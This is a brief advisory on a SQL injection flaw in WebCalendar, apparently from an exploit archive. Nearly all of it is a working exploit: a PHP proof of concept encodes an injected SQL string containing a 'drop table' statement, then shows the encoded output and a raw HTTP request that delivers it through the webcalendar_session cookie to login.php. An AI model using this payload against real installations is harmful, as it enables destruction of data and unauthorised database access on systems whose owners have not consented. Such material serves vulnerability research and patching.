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WebCalendar SQL Injection Vulnerability

No exploit is required.

The following proof of concept is available:
<?php
include_once 'includes/init.php';
echo encode_string("'; drop table foo; select 'a|zzabcdefg");
?>

output:
7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8

attack payload:
telnet example.com
GET /login.php HTTP/1.1
Cookie: webcalendar_session=7c8c3a738e858f4199b6b386743c7c8e906075c47f7b817993414cb6cd94897d7882858abbb8